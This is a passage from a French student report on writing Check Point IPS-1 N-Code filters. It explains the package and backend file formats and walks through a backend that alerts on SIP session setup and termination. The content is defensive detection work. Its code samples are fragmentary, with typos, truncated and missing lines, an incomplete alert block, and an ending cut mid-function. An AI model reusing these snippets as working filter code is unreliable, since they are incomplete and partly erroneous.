package SIP à savoir :
– ALERT ON BIG UDP PACKETS
– ALERT ON LOWERCASE METHODS
– MAX UDP PACKET SIZE
– METHODS
– BAD METHODS
– BAD REQUEST URI
– SIP PORTS
Dès la détection d’un paquet présentant une entorse aux règles mentionnées ci-dessus, l’IPS-1
engendre automatiquement une alerte visible depuis le management Dashboard. Durant ces
tests aucun faux positifs n’a été émis, ce qui est un atout extrêmement important.
D’autres part les règles ci-dessous indiquent explicitement dans leur description qu’elles sont
écrites selon les directives rfc :
– ALERT ON BIG UDP PACKETS, RFC 3261
– MAX UDP PACKET SIZE, RFC 3261
– METHODS, RFC 3261, 3262, 3265
La seconde constatation concerne la non détection des attaques du Best Practice telles que
l’Innondation du serveur proxy, l’injection de paquet RTP, le Déni de service (Bye, Cancel)...
Ceci pour la simple raison que les filtres présents dans la sonde ne permettent pas la détection
de ces d’attaques.
Dans la suite de ce travail il sera question de définir certains règles. Nous rappelons que les
règles de filtrages seront écrits en N-code, un langage qui nous ait tout à fait inconnu jusque
là. La première règle à développer est la détection d’un établissement et d’une terminaison
d’une session sip. Cette règle a été choisie en raison de l’existence d’un parseur de méthodes sip
(fichier sip.nfr) aidant à mettre en place ce filtre et à se familiariser avec le langage N-Code. Un
deuxième filtre sera développé, dans le but de détecter un paquet RTP (ou un seuil de paquet
RTP). Cette règle a été choisie pour satisfaire les besoins de mon collègue M. Wenger. Et si le
temps nous le permet un troisième filtre sera développé où il s’agira de détecter un denis de
service. Mais avant de mettre en place ces filtres, étudions la structure d’un filtre en N-Code.
3
Architecture des filtres de l’IPS-1
Comme précisé au début du rapport, le but de ce travail de diplôme est de compléter la gamme
de filtres VoIP disponibles sur l’IPS-1 Check Point. Ce chapitre sera consacré à la présentation
de la structure requise pour l’écriture d’un filtre.
La mise en place d’un filtre IPS-1 demande une structure bien définie consistant à créer des
entités “père et fils” appelé respectivement packages et backends. Le package est une entité
contenant un ensemble de fichiers spécifiques nécessaires pour l’écriture d’un filtre. Le nom du
package évoque le thème ou le protocole concerné (ftp, authentification, SIP). Ils peuvent éga-
lement contenir des “entités fils” dont chacun d’eux contient également un ensemble de fichiers
bien spécifiques permettant de mettre en place des règles de filtrages ainsi que des mécanismes
pour l’émission des alertes vers l’IPS-1 Management Dashboard en cas d’attaques. Ces derniers
sont appelés backend et leur nom indique l’étude d’une caractéristique précise du package.
Voici un petit exemple d’illustration du package SIP et de ses backends (sip/compliance
et sip/logging).
3. Architecture des filtres de l’IPS-1 35
Fig. 3.1: Vue d’ensemble du Package SIP
Les différents fichiers que peuvent contenir les packages et backends sont :
– Pour les packages :
– Configuration file (<package>.cfg)
– N–Code file (<package>.nfr)
– Alert configuration file (<package>.acf)
– Values configuration file (<package>.values)
– Help files (<package><alert_name>).help)
– Description files (<package>.desc)
– Pour les backends :
– Configuration file (<backend>.cfg)
– N–Code file (<backend>.nfr)
– Alert configuration file (<backend>.acf)
– Values configuration file (<backend>.values)
– Help files (<backend><alert_name>).help)
– Description files (<backend>.desc)
Fig. 3.2: Vue d’ensemble d’un package comportant des backends
Parmi ces six types de fichiers présents dans les packages et backends cinq d’entre eux à savoir
*.acf, *.cfg, *.values, *.help, *desc sont parsés afin de remplir des interfaces graphiques.
Ces dernières permettent à l’administrateur d’effectuer des modifications sur les variables de
configuration sans devoir accéder au code pour en changer quelques lignes. Le fichier *.nfr
contient le programme en N-Code qui permettra de fitrer les paquets circulant sur le réseau et
d’émettre des alertes en cas de nécessité.
Notons que certains de ces fichiers restent optionnels. Nous distinguons 2 cas :
– Les backend et package renferment un mécanisme de filtrage des paquets en fonction de
plusieurs critères et les enregistrer pour une analyse ultérieure. Dans ce cas de figure au-
cune alerte n’est émise sur l’IPS-1 Management Dashboard. Les fichiers *.cfg et *.nfr restent
obligatoires contrairement aux fichiers *.desc, *.help, *acf, *.values.
– Lorsque des alertes doivent être émises vers le Management Dashboard en cas de détection
d’attaques alors les fichiers *.cfg, *.acf, *.nfr restent obligatoires contrairement aux fichiers
*.values, *.desc, *.help.
3.1 Fichier de configurations des variables (*.values)

Le fichier de configuration des variables se reconnait par son extension ”values”(<backend>.values).
Il est utilisé pour définir les variables de configuration qui sont utilisées pour définir quelques
règles. Ce fichier contient une description brève, un commentaire, le type et la valeur par défaut
de toutes les variables de configuration du backend. Ces caractéristiques peuvent être visibles
via une interface graphique visible depuis l’onglet package/backend configuration de la fe-
nêtre Policy Manager. De plus ces variables sont éditables depuis cette interface graphique.
Fig. 3.3: Remplissage de l’interface graphique à partir du fichier <backend>.values
Les types des variables de configuration sont répartis en trois groupes :

– Scalar : une variable de type scalar est un nombre entier. Lorsque la variable vaut 0 ou 1,
elle possède une signification bien précise. En effet lorsque sa valeur vaut 1 alors la règle
est activée. Dès lors la sonde surveille le réseau en vérifiant que tous les paquets respectent
les règles actives. Dans le cas du non respect de la règle, des alertes sont émises vers le
Management Dashboard. Dans le cas où la valeur de la variable de configuration vaut 0 le
filtre est désactivé aucun contrôle n’est effectué sur les paquets qui circulent sur le réseau.
Les variables de configuration de ce type, peuvent valoir une valeur entière autre que 0 et 1.
Par exemple elle peut être utilisée pour définir la taille maximale des paquets circulants sur
le réseau.
– List : Ce type permet de définir un ensemble de valeur que peut valoir ou pas la variable de
configuration. Par exemple on peut définir une liste des ports autorisés ou non autorisés sur
le réseau.
– Array map : est identique au tableau dans les autres langage de programmation. Ce type
permet de définir un ensemble de valeur que peut valoir ou pas la variable de configuration.
Contrairement au type list, les éléments du tableau sont accessibles en connaissant l’indice
(valuename[0]).
La structure du fichier *.values est la suivante :
– desc Description générale de la variable

– text commentaire ou une description plus détaillée du rôle de la variable de configuration.
Le commentaire pour porter sur plusieurs lignes et chaque ligne doit être précédée du mot
text.
– name nom de la variable en majuscule, utilisé dans le fichier *.nfr pour l’écriture de quelques
règles.
– mode Scalar/List/Array map indique le type de la variable de configuration.
Dans le cas d’un package (<package>.values), ce fichier est présent si des variables de confi-
guration ont besoin d’être définies. La structure du fichier <package>.values est la même que
celle définie dans un backend.
3.2 Fichier de description (*.desc)

Ce fichier n’est pas obligatoire mais est vivement recommandé pour une meilleure compréhen-
sion. Le fichier <backend>.desc renferme une description sur le rôle du backend associé. Ce
fichier contiendra également une description sur le rôle de chaque variable de configuration du
fichier <backend>.values si celui-ci existe. Le contenu de ce fichier doit respecter la structure
HTML 1.1.
Le fichier <package.desc> est presque identique au fichier <backend.desc> à la seule différence
qu’il contient en plus une courte description de tous les backends contenus dans le package.
3.3 Fichier de configuration des alertes (*.acf)

Le fichier Alert Configuration File (.acf) est obligatoire si des alertes doivent être envoyées
sur le Management Dashboard pour prévenir l’administrateur réseau de toutes intrusions. Ce
fichier porte l’extension acf (<backend>.acf). Dans ce fichier, sont définis plusieurs blocs dont
chacun d’entre eux possède une signification bien précise. Un bloc est délimité par des accolades
et contient entre les délimiteurs des instructions. Ces blocs sont précédés d’un des mots clés
suivants : acfhdr, alert source, alert.
acfhdr
Ce bloc est obligatoire et est créé en premier dans tous fichiers ”.acf”. Il contient deux paramètres
obligatoires "Version" et "Fixed". Les seules valeurs autorisées pour ces paramètres sont
respectivements ”1” et ”TRUE”. Ceci est une convention, je n’ai pas trouvé des informations
suplémentaires pour une explication plus détaillée.
acfhdr
{
version=1 ;
fixed = true ;
}
alert source
Ce bloc permet d’identifier toutes les alertes qui sont définies dans ce fichier. L’identifiant de
l’alert source doit être unique pour chaque backend, il suit le mot clé alert source. Cet identifiant
sert d’ identificateur de la fonction alert() définie dans le fichier avec l’extension nfr.
Fig. 3.4: Utilisation de l’identifiant du bloc alerte source dans la fonction alert()
La convention d’écritures de l’identifiant est nomBackend src (ou nomPackage nomBackend src)
pour un backend et dans le cas d’un package, nomPackage src (nomPackage source). Ce bloc
contient les paramètres suivants "Longname","shortname" et "groups" où les deux derniers
paramètres restent optionnels.
Shortname : la valeur de ce paramètre est utilisée pour remplir l’interface graphique “Alert
Details”. En effet la valeur du shortname est la valeur du paramètre “Alert Name”. Le shortname
peut contenir le caractère ( ). Ce paramètre étant facultatif, dans le cas où il n’existe pas, la
valeur de “Alert Name” sera par défaut le nom de l’identifiant du bloc “alert source”.
Fig. 3.5: Relation entre le fichier acf et l’interface graphique Alerts Details
Longname : ce paramètre donne une description plus détaillée du nom de l’identifiant.

Groups : est utilisé lorsque l’alerte est membre d’un groupe prédéfini.
Voici la structure du bloc alert source :
alert_source Identifiant
{
shortname = valeur 1 ;
longname = valeur 2 ;
groups = valeur 3 ;
}
Alert
Ce bloc permet d’identifier l’alerte en question. L’identifiant de ce bloc est un identificateur de
la fonction alert() (définie dans le fichier nfr). Ce fichier acf contiendra autant de bloc Alert
qu’il y aura de fonction alert() défini dans le fichier nfr correspondant.
Fig. 3.6: Utilisation de l’identifiant du bloc alert dans la fonction alert()
Il n’existe pas de convention d’écriture pour l’identifiant de ce bloc. Ce dernier contient en plus
des paramètres du bloc précédent les paramètres suivants : "Severity", "format”.
format : ce paramètre est utilisé pour remplir la partie description de l’interface graphique
“Alert Détails”. Le contenu de format donne une description sur la cause de l’alerte. La chaine
de caractère peut contenir les notations $1, $2 ... qui représentent le premier argument, le
deuxième argument, ainsi de suite de la fonction alert() (ormis les identificateurs).
Severity : determine le genre de l’alerte. Il existe 4 niveaux :
– SEV ATTACK - utilisé lorsque l’alerte est engendrée suite à des attaques.
– SEV ERROR - utilisé lorsque l’alerte est engendrée suite à des erreurs et d’autres choses qui
semblent avoir mal tourné
– SEV WARNING - utilisé lorsque l’alerte engendrée, indique des avertissements, normalement
pour des informations sur le système
– SEV INFO - Cette alerte n’est pas une attaque, mais founit des informations utiles.
La structure du bloc Alert est définie comme suit :
alert Identifiant
{shortname = valeur 1 ;
longname = valeur 2 ;
Severity = valeur 3 ;
format = valeur 4 ;
groups = valeur 3 ;
}
La structure a respectée est la même pour le package (<package>.acf)
3.4 Fichier d’aide (*.help)

Le fichier avec l’extension help n’est pas obligatoire, mais est d’une grande utilité pour la
compréhension des alertes. Chaque bloc d’alertes du fichier .acf contenu dans les packages et
les backends doit correspondre à un fichier avec l’extension help qui contient une description
et un commentaire plus détaillés de l’alerte et de la technique utilisée pour la mettre en place.
Le fichier d’aide doit respecter la structure HTML 1.1. Il est conseillé de ne pas utiliser des
tableaux, des polices de caractères gras et en italique et des documents à des références externes.
La structure est la même dans le cas d’un package (<package>.help)
3.5 Fichier de configuration (*.cfg)

Le fichier de configuration se reconnait par son extension “cfg” et est obligatoire. Dans le fichier
<package>.cfg, sont définis les caractéristiques du package à savoir son nom, sa version, son
état (actif –> coché sinon désactivé) et un identificateur.
– Title : nom donné au backend
– version : version du backend, à chaque modification apportée à ce backend la valeur de la
version doit être incrémentée de 1.
– disposition : état du backend renfermant les règles de filtrage, qui peut être actif ou inactif
– package_id : identificateur unique pour chaque package. L’identificateur est une valeur
unique comprise entre 002 et 998 (les nombres 001 et 999 sont réservés). Par convention
cet identificateur doit être précédé de NID ( : package id = NID-XXX ).
Certaines de ces caractéristiques (Title, Version, Disposition) sont utilisées pour remplir l’in-
terface graphique, définissant les propriétés du package obtenues en cliquant sur un package.
La figure ci-dessous montre cette correspondance.
Fig. 3.7: Caractéristiques d’un package
En plus des paramètres décrites ci-dessus, le fichier <backend>.cfg contient d’autres paramètres
qui sont :
– gui détermine le type d’affichage des données enregistrées. L’affichage est en générale de type
“list” mais peut être de type “histogram”.
– num_columns définit les différentes colonnes permettant d’enregistrer des informations sur
un paquet par exemple une colonne est réservée pour le stockage de l’adresse IP source, une
deuxième où est stockée l’adresse IP de destination, une autre pour le port source ainsi de
suite.
L’identificateur du backend s’écrit à partir de celui du package : backend id = package id YYY
(package id = NID XXX) où YYY est un nombre unique pour chaque backend du package.
Chaque colonne doit être définie au moins sur deux lignes pour définir d’une part le type des
données de la colonne et d’autre part le label qui représente le nom de la colonne. La convention
d’écriture est la suivante :
– column_X_type (X est le numéro de la colonne) : il permet de déterminer le type de valeurs

qui sont stockées dans la colonne. Parmi les trois types du langage N-Code (primaire, secon-
daire, représentation), le type des composants des colonnes doit être de type “primaire”. Ce
type contient une structure très parlante sur la signification des données. Par exemple les
types primaires suivants : ”p dst ip”, ”p src ip” laissent bien comprendre qu’il s’agit respec-
tivement de l’adresse ip de destination et l’adresse ip source. Ce qui permet d’enregistrer,
d’interroger et d’analyser en profondeur la source et la destination.
– column_X_label (X est le numéro de la colonne) : est l’étiquette que l’interface graphique
utilise lors de l’affichage de cette colonne
Voici quelques exemples de définition des colonnes :
– Adresse IP Source
column type=p src ip
column label=Source Address
– Adresse IP Destination
column type=p dst ip
column label=Destination Address
– Port Source
column type=p src port
column label=Source Port
– Port Destination
column type=p dst port
column label=Destination Port
– IP protocol
column type=p ip proto
column label=IP Protocol Number
Fig. 3.8: fichier .cfg d’un backend
3.6 Fichier N-Code (*.nfr)

Le fichier N-Code est nécessaire si des filtres ou des alertes doivent être mis en place. Le nom
de ce fichier est de la forme <backend>.nfr. Le rôle principal de ce fichier est de contrôler les
événements qui déclenchent un message d’alerte et de la manière de traiter l’alerte.
Dans le fichier N-Code il existe une structure à suivre pour l’écriture du fichier. Ainsi les étapes
à effectuer sont :
1. Définition du schéma
2. Déclaration des filtres et analyse des évènements
3. Générer les alertes
4. Enregistrement des alertes
Etape 1 : Définition du schéma
La première étape a effectué, lors de l’écriture de ce fichier, est de définir le schéma en utlisant
la fonction suivante : library schema new(). Celle-ci consiste à enregistrer les données d’un
paquet qui nous semblent utiles. Il existe une interdépendance entre ce fichier et le fichier *.cfg.
Les paramètres de la fonction library schema :new(), en type “représentation”, sont les colonnes
définies dans le fichier <backend>.cfg. Les différents composants du type “représentation” sont :
– blob est une séquence de taille arbitraire d’octets.
– ethermac représente une adresse MAC Ethernet
– ip représente une adresse ip
– int un interger
– string une séquence de caractères.
La structure du schéma est la suivante :
My_SCHEMA = library_schema :new(1,[time, ip, int, ip, int, str],

scope()) ;
Il est ensuite obligatoire de définir un enregistreur à partir de la fonction recoder() afin d’y
stocker tous les données spécifiées dans le schema. La fonction recorder possède deux arguments.
Le premier argument consiste à définir le chemin et le nom du fichier où sont enregistrées les
données, le deuxième argument représente le schema défini précédemment. Voici un exemple
d’enregistreur.
My_RECODER = recorder(’bin/list %c’, My_SCHEMA) ;
La correspondance entre le fichier cfg et le schéma est la suivante :
Fig. 3.9: Correspondance entre les fichiers de configuration et N-Code
Etape 2 : Déclaration des filtres et analyse des évènements
La deuxième étape consiste à écrire des filtres. La structure du filtre est presque identique à
celle d’une fontion :
filter filter_name tigger_type ([paramètre1, paramètre2...])

{
instructions
}
– filter mot clé du filtre
– filter_name le nom du filtre
– tigger_type l’évènement qui déclenchera ce filtre, peut être un protocole, une durée.. Un
tableau sera donné en annexe ou sont définis tous les ”tigger Type”.
– instructions à évaluer lors du déclenchement du filtre.
Ces filtres sont des mécanismes par lesquels les packages et les backends enregistrent leur intérêt
pour un évenement particulier. A l’apparition des événements répondant au ”tigger type”, le
filtre et évalué. Les évènements peuvent être l’arrivée de paquets UDP, TCP, ICMP ou à la
création/terminaison d’une session TCP... L’exemple ci-dessous indique qu’à l’apparition de
chaque packet udp, un filtre enregistre les données relatives au paquet (l’heure d’apparition du
paquet, les ports sources et destination, les adresses ip source et destination, l’adresse MAC) :
filter udppackets udp ( )

{
record pa-
cket.sec, udp.sport, udp.dport, ip.src, ip.dst, eth.len to the_recorder_udp ;
}
Ces filtres peuvent être intégrés à l’intérieur d’une fonction.
Etape 3 : Générer des alertes
Les fonctions alert() génèrent des alertes par rapport à certains évènements. Dans ce fichier
doivent être défini des fonctions alert() correspondant à chaque bloc d’alertes définies dans le
fichier <backend>.acf. Lors du déclenchement de certaines filtres il est possible d’éxécuter la
fonction alert() qui générera une alerte et l’enverra vers le Management Dashboard.
La fonction alert() possède plusieurs paramètres parmi lesquels nous avons :
source id : l’identifiant du bloc Alert source défini dans le fichier <backend>.acf qui identifie
toutes les alertes du backend, est le premier paramètre de la fonction alert . C’est un paramètre
recommandé car il est un identifateur de la fonction alert().
alert id : Le deuxième paramètre de la fonction est l’identifiant du bloc Alert du fichier <ba-
ckend>.acf. Il est également un identificateur de la fonction alert().
Ensuite vient d’autres paramètres supplémentaires à fournir dans le but de caractériser l’alerte
(ALERT CONFIDENCE, ALERT SEVERITY, ALERT EVENT TYPE, ALERT IMPACT,
ALERT ASSESSMENT ... ).
Toutes ces informations sont affichées sur l’interface graphique Alert Detail obtenu en double
cliquant sur une alerte du Management Dashboard.
Voici un exemple de définition d’alerte :
Fig. 3.10: fichier .cfg d’un backend
Etape 4 : Enregistrement des alertes
En plus de générer une alerte comme précédemment, il est possible d’enregistrer les données
relatives à une alerte pour une analyse ultérieure. L’enregistrement de données se fait à travers
le mot clé record vers l’enregistreur défini dans la première étape (MY RECORDER).
4
Tutorial du langage N-Code : Ecriture
des filtres
Ce chapitre est un tutorial entièrement consacré à l’écriture de filtres en N-code. Un filtre

permet de détecter soit une attaque (paquet malveillant circulant sur le réseau) ou un évènement
particulier.
L’objectif du premier filtre à developper, est de détecter une établissement ou une terminaison
d’une session sip. En effet, lorsque chacun de ces évènements se produit, une alerte devra être
émise vers l’IPS-1 Management Dashboard. Le deuxième filtre quant à elle, servira à détecter
un paquet RTP car l’IPS-1 ne dispose pas de cette fonctionnalité.
4.1 Ajout d’un backend dans un package existant

Comme vu dans le chapitre précédent, tout filtre développé doit être contenu dans un package
ou un backend. L’IPS-1 dispose d’un package SIP, comportant quelques backends qui ren-
ferment des filtres en N-Code. Etant donné que l’objectif du premier filtre consiste à détecter
une caractéristique de SIP alors un nouveau backend appelé session est créé dans le package
SIP existant. Ce filtre permet de détecter un établissement ou une terminaison d’une session
sip.
Pour cela il est nécessaire, comme indiqué dans le chapitre précédent de créer les six fichiers
nécessaires pour l’écriture d’un filtre.
4.1.1 Création du fichier session.values

Dans le backend session le fichier session.values doit être défini car deux variables de confi-
guration doivent être déclarées. La première permet d’activer ou de désactiver la règle pour
détecter l’établissement d’une session sip, quant à la deuxième variable, elle permet d’activer
ou de désactiver la règle pour détecter une terminaison d’une session sip.
Pour chaque variable de configuration il s’agira de respecter la structure définie dans la section
3.1 à savoir :
4. Tutorial du langage N-Code : Ecriture des filtres 49
Etape 1
Elle consiste à donner une brève descriptive de la variable de configuration. Cette description
sera précédée du mot clé “desc”. Voici les description pour les différentes variables de configu-
ration :
– description associée à une variable de configuration pour activer ou désactiver la règle per-
mettant de détecter tout établissement d’une session sip.
desc Alert on Detection SIP Session Setup
– description associée à une variable de configuration pour activer ou désactiver la règle per-
mettant de détecter la terminaison d’une session sip.
desc Alert on Detection SIP Session Terminating
Etape 2
Celle-ci consiste à apporter une description supplémentaire plus détaillée par rapport à la
variable de configuration. Cette description est précédée du mot clé “text” pour chaque ligne.
– Description supplémentaire par rapport à la première variable de configuration (établissement
d’une session sip).
text SIP est un protocole permettant d’etablir une session

text entre deux utilisateurs sip.
text Lorsqu’un client d’agent d’utilisateur (UAC) desire
text etablir une session sip, une formulation de demande
text INVITE se fait vers l’UAS. Des lors que l’UAS accepte
text l’invitation en formulant une requete ACK la
text session sip est etablie.
– Description supplémentaire par rapport à la deuxième variable de configuration (terminaison
d’une session sip).
text Le protocole SIP permet egalement de terminer une

text session entre deux utilisateurs sip.
text La terminaison d’une session consiste a l’envoi
text d’une requ^
ete BYE
Etape 3
La troisième étape consiste à définir le nom de la variable de configuration. Par convention ce

nom est écrit en majuscule et précédé du mot clé “name”. Ainsi les deux noms des variables
respectivement :
name ALERT_ON_DETECTION_SIP_SESSION_SETUP
name ALERT_ON_DETECTION_SIP_SESSION_TERMINATE
Etape 4
Dans la dernière étape, il s’agit de définir le type de la variable de configuration ainsi que sa
valeur par défaut. Dans notre cas, puisque ces variables servent à activer des régles de détection
d’établissement ou de terminaison d’une session sip, alors elles sont ainsi déclarées :
mode scalar
1
Dans ce fichier est également possible d’ajouter des mots ou phrases en commantaire qui seront
ignorés par le compilateur. Tout commentaire doit être précédé du caractère #.
4.1.2 Création du fichier session.desc

Comme indiqué dans la section 3.2 du chapitre précédant, le fichier session.desc donne une
explication sur le rôle du backend session ainsi que sur le rôle de chaque variable de configuration
de ce backend. Ce fichier respecte la structure HTML 1.1 est ainsi écrite :
<HTML>
<BODY>
<H1> Session SIP </H1>
<P>
Ce backend controle tous les paquets SIP
circulant sur le réseau. Il permettra d’emettre
une alerte vers le Management Dashboard en cas de
détection d’un établissement ou d’une terminaison
de session sip.
</P>
<P>
les variables de configuation définies sont :
</P>
<UL><LI>
<B>ALERT_ON_DETECTION_SIP_SESSION_SETUP</B> : lorsque
cette variable est active donc égal à 1, tout paquet
permettant un établissement de session sip(contenant)
une requ^ete INVITE engendrera une alerte.
</LI>
<LI>
<B>ALERT_ON_DETECTION_SIP_SESSION_TERMINATING</B> :
lorsque cette variable est active donc égale à 1
et qu’il y a une fin session sip par l’envoie
d’une requete BYE une alerte est émise
vers le Management Dashboard.
</LI>
</UL>
</BODY>
</HTML>
4.1.3 Création du fichier session.acf

L’objectif du backend session est d’émettre une alerte en cas de détection d’un établissement ou
d’une terminaison de session sip. Comme décrit dans la section 3.3, le fichier Alert Configuration
File est obligatoire dès lors que des alertes doivent être envoyées vers le Management dashboard.
Etape 1 :
La première étape est toute simple. Il suffit juste d’effectuer un “copier-coller” du bloc suivant
dans tous les fichiers portant l’extension acf.
acfhdr
{
version = 1 ;
fixed = TRUE ;
}
Etape 2 :
La deuxième étape consiste à la création du bloc alert source. Tout d’abord il faut donner un
nom à l’identifiant de ce bloc qui suit le mot clé alert_source. Cet identifiant est utilisé comme
identificateur de la fonction alert() définie dans le fichier session.nfr.
alert_source session_src
{...}
Ensuite il s’agira de définir les instructions du bloc en affectant des valeurs aux paramètres
suivants :
shortname : la valeur de ce paramètre est SessionSIP. Cette valeur doit être aussi brève que
possible. Comme préciser dans le chapitre 3, elle sert à remplir l’interface graphique Alert
Détails.
longname : la valeur de ce paramètre est SIP Session Backend. Cette valeur doit être contenu
entre guillemet.
group : la valeur de ce paramètre défini le nom du group auquel l’alerte source est membre.
{
shortname = SessionSIP ;
longname = "SIP Session Backend" ;
groups = sip :_group all ;
}
Etape 3 :
Cette étape consiste à définir les blocs alerts qui définissent le nom des différentes alertes qui
seront utilisées en tant qu’identificateur de la fonction alert(). Comme précisé ci-dessus, le but
du backend est de fournir deux types d’alertes. Ainsi deux blocs alertes seront crées dans ce
fichier. Le premier bloc définit les paramètres pour détecter un établissement de la session sip
et le deuxième bloc, pour détecter la fin d’une session sip. Avant de définir les paramètres de
chaque bloc, il est obligatoire de déterminer l’identifiant de chaque bloc comme suit :
– Premier bloc
alert detection_session_setup_alert
{...}
– Deuxième bloc
alert detection_session_terminate_alert
{...}
Ensuite il s’agira pour chaque bloc de définir les valeurs de leurs paramètres. En se référant au
chapitre précédant les paramètres qui peuvent être définis dans les blocs alerts sont :
shortname : le shortname des deux blocs alert sont respectivement
sip session : detection session setup alert et sip session : detection session terminate alert
longname : comme précisé dans le chapitre précédent le bloc sert à fournir plus de détail sur
le nom de l’alerte. Dans le premier bloc d’alerte la valeur du paramètre longname est Detection
d’une Session SIP et celle du deuxième bloc est Detection d’une terminaison de Session SIP.
severity : ce paramètre indique le niveau de l’alerte. Dans nos deux blocs alert, la valeur de ce
paramètre vaut SEV INFO. Car les alertes émises ne sont pas des attaques, mais simplement
une information sur une session sip.
format : ce paramètre donne des informations supplémentaire sur l’alerte. Sa valeur contient
les paramètres suivants : $1, $2, $3 qui sont les paramètres de la fonction alert () définie dans
le fichier N-Code.
groups : le groupe auquel appartient cette alerte est : sip : group all sev warning group.
– Premier bloc
{
shortname = sip_session : detection_session_setup_alert ;
longname = "Detection d’une Session SIP" ;
severity = SEV_INFO ;
format = "$1->$2 $3 : Detection SIP Session" ;
groups = sip :_group all sev_warning_group ;
}
– Deuxième bloc
{
shortname = sip_session : detection_session_terminate_alert ;
longname = "Detection d’une terminaison de Session SIP" ;
format = "$1->$2 $3 : Detection SIP Session Terminating" ;
}
4.1.4 Création du fichier session alert.help

Ce fichier donne une description de l’alerte et de la technique utilisée pour mettre en place
cette alerte. La description se fait en utilisant le format html 1.1. Dans ce fichier nous décrivons
d’abord l’idée générale du backend dans une deuxième section nous définnissons la technique
utilisé pour engendrer une alerte. Le contenu html de ce fichier est :
<HTML>
<BODY>
<H1> Overview</H1>
<P>
Une session SIP est initialisée lors de
l’acception d’une requ^
ete INVITE utilisé
pour initier une communication. A chaque
initialisation d’une session sip, une alerte
doit etre emise, de meme qu’a la fin d’une
session sip.
</P>
<H1>CORROBORATION AND LEADS</H1>

<P>
L’idée est de controler la méthode et le
call-id de chaque paquet circulant sur le
reseau. Le call-id est un identificateur
d’appel. Un tableau est créé, stockant tous
les call-id des paquets contenant la methode
INVITE. Lorsqu’un paquet contenant la
methode ACK contient un Call-ID identique a
un des call-ID définit dans le tableau, alors
Il s’agit d’un etablissement de session SIP.
</P>
</BODY>
</HTML>
4.1.5 Création du fichier session.cfg

Etape 1
La première étape consiste à définir les caractéristiques du backend à savoir le titre, la version,
l’état, l’ID du backend, le nombre de colonnes et le gui :
title : Le titre donné à notre backend est session.
version : la version est une valeur entière au début elle vaut 1 mais à chaque modification
apportée au backend sa valeur doit être incrémentée de 1.
disposition : ce paramètre représente l’état backend. Nous activons le backend en lui donnant
la valeur Enable.
gui : l’affichage des données sera sous forme de liste. Ainsi la valeur de ce paramètre est list.
num_columns : la valeur de ce paramètre vaut 8 et détermine le nombre de colonne à afficher sur
la liste ci-dessus. Chaque colonne contiendra une information utile sur le paquet ayant provoqué
l’alerte.
backend_id : ce paramètre est l’identificateur du backend. Il est formé à partir de l’identificateur
du package associé au backend. En effet l’ID du package sip est NID-099 et l’ID du backend
session est : NID-099-005.
title=session
version=1
disposition=Enable
gui=list
num_columns=8
backend_id = NID-099-005
Etape 2
La deuxième étape consite à définir les caractéristiques pour chacun des huit colonnes défi-
nies dans l’étape précédant. Pour chaque colonne il s’agira de déterminer le type primaire
(column x type) des données stockées dans la colonne, le nom identifiant la colonne (co-
lumn x label).
column_1_type=p_src_ip
column_1_label=Source Address
column_1_attr=IP_ADDR_SRC
column_2_type=p_dst_ip
column_2_label=Destination Address
column_2_attr=IP_ADDR_DST
column_3_type=p_string
column_3_label=IP Protocol
column_3_attr=IP_PROTO_NAME
column_4_label=Command
column_4_attr=COMMAND
column_5_label=Sender
column_5_attr=EMAIL_SENDER
column_6_label=Recepient
column_6_attr=EMAIL_RECIPIENT
column_7_label=Call-ID
column_7_attr=BANNER
column_8_label=Additional Information
column_8_attr=ADDL_INFO
4.1.6 Création du fichier session.nfr

Comme préciser dans le fichier N-Code de la section 3.6, il s’agit dans ce fichier de contrôler tous
les paquets sip qui circulent dans le réseau et de mettre en place le mécanisme pour émettre
des alertes dès l’établissement ou la terminaison d’une session sip.
Etape 1 :
Dans tout fichier N-Code il faut commencer par définir le schéma et l’enregistreur des don-
nées. Le schéma est déterminé en fonction des colonnes définies dans le fichier de configuration
(session.cfg). Dans la déclaration du schéma, la fonction library schema new() comporte 8
paramètres correspondants aux 8 colonnes définies dans fichier cfg. Ces paramètres respectent le
type Representation. Cette fonction contient également comme argument la fonction scope() qui
renvoie le nom du backend dans lequel le fichier N-code appartient. La déclaration de schéma se
suit de la déclaration de l’enregistreur permettant de stocker toutes ces informations pour une
récupération postérieure. Ceci s’effectue en utilisant la fonction recoder() qui contient deux
arguments.
MY_SCHEMA=library_schema :new (1,["time", "ip", "ip", "str", "str", "str", "str","s
MY_RECORDER = recoder("bin/list %c","MY_SCHEMA") ;

Etape 2 :
Cette deuxième étape consiste précisemment à l’écriture des règles pour la détection de l’éta-
blissement et de la terminaison d’une session sip.
Pour cela il faut définir en premier la condition nécessaire pour que l’alerte soit émise. On dit
qu’il y a établissement d’une session sip, lorsqu’à la suite du message sip INVITE l’appelant
envoie un message d’acquittement (ACK).
Le champ d’en-tête Call-ID permet d’identifier un appel. Ainsi pour chaque message INVITE
circulant sur le réseau, toutes les valeurs des champs d’en-tête CALL-ID seront stockés dans un
tableau appelé $invite seen. Notons qu’un parseur est effectué dans le fichier sip.nfr permettant
de récupérer chaque champ d’en-tête d’un message sip.
#On teste si la requete contient une methode INVITE

if (toupper(substr(_ :METHOD[_ :KEY], 0, 1024)) == "INVITE")
{
# On teste si le call-ID de la requete INVITE n’est pas nul
if (($cid = substr(elem(_ :HEADERS[_ :KEY]["CALL-
ID"],0), 0, 8191)) != NULL)
{
$invite_seen[$cid] = $cid ;
}
}
Nous notons que les fonctions ci dessous permettent de récupérer respectivement la méthode
du message sip et la valeur du CALL-ID identifiant l’appel.
Pour déterminer qu’il y a établissement de session sip, il s’agira de détecter si un paquet conte-
nant la méthode ACK circule dans le réseau et possède le même CALL-ID qu’un message
INVITE. Ceci se fera en vérifiant que la valeur du CALL-ID du message d’acquittement existe
dans le tableau $invite seen. Mais avant de vérifier cette condition il s’assurait que la règle est ac-
tivée. Pour cela la variable de configuration ALERT ON DETECTION SIP SESSION SETUP
doit être différente de zéro.
#On teste si la requete contient une methode ACK

if (toupper(substr(_ :METHOD[_ :KEY], 0, 1024)) == "ACK") {
#On teste si la variable ALERT_ON_DETECTION_SIP_SESSION_SETUP
est active
if(ALERT_ON_DETECTION_SIP_SESSION_SETUP)
{
# On teste si le call-ID de la requete ACK n’est pas nul
ID"],0), 0, 8191)) != NULL)
{
if($$invite_seen[$cid] == $cid)
Une fois ces conditions vérifiées, la fonction alert() peut être appelée permettant d’émettre une
alerte vers l’IPS-1 Management Dashboard. Cette fonction alerte est ainsi écrite :
alert(session_src, detection_session_setup_alert,
$src, $dst, $proto,
"--AlertDetails",
"ALERT_ID","33-14", "ALERT_CONFIDENCE",90,
"ALERT_SEVERITY","unknown", "ALERT_IMPACT","unknown",
